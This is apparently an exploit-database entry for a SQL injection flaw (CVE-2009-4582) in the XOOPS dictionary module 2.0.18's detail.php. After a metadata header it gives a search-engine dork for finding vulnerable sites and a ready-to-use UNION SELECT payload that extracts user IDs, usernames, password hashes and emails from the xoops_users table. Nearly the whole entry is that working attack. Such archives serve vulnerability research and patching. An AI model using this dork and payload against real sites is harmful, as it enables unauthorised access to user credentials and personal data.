XOOPS Module dictionary 2.0.18 - 'detail.php' SQL Injection

Author: Palyo34
type: webapps
platform: php
port: 
date_added: 2009-12-29 
date_updated:  
verified: 1 
codes: OSVDB-61564;CVE-2009-4582 
tags: 
aliases:  
screenshot_url:  
application_url: 

##########################################
#
#  XOOPS Module dictionary 2.0.18 (detail.php) SQL Injection Vulnerability
#
#  XOOPS Version:  XOOPS 2.0.18
#
#  http://www.xoops.org/modules/repository/
#
##########################################
#
# AUTHOR : Palyo34
#
# HOME : http://www.1923turk.biz
#
#
###########################################
#
# DORK  : allinurl: "modules/dictionary/detail.php?id"
#
###########################################
#
#   EXPLOIT :
#
#     modules/dictionary/detail.php?id=-885+union+select+1,2,3,concat_ws(0x3a,uid,uname,pass,email),5,6+from+xoops_users--
#
##############################################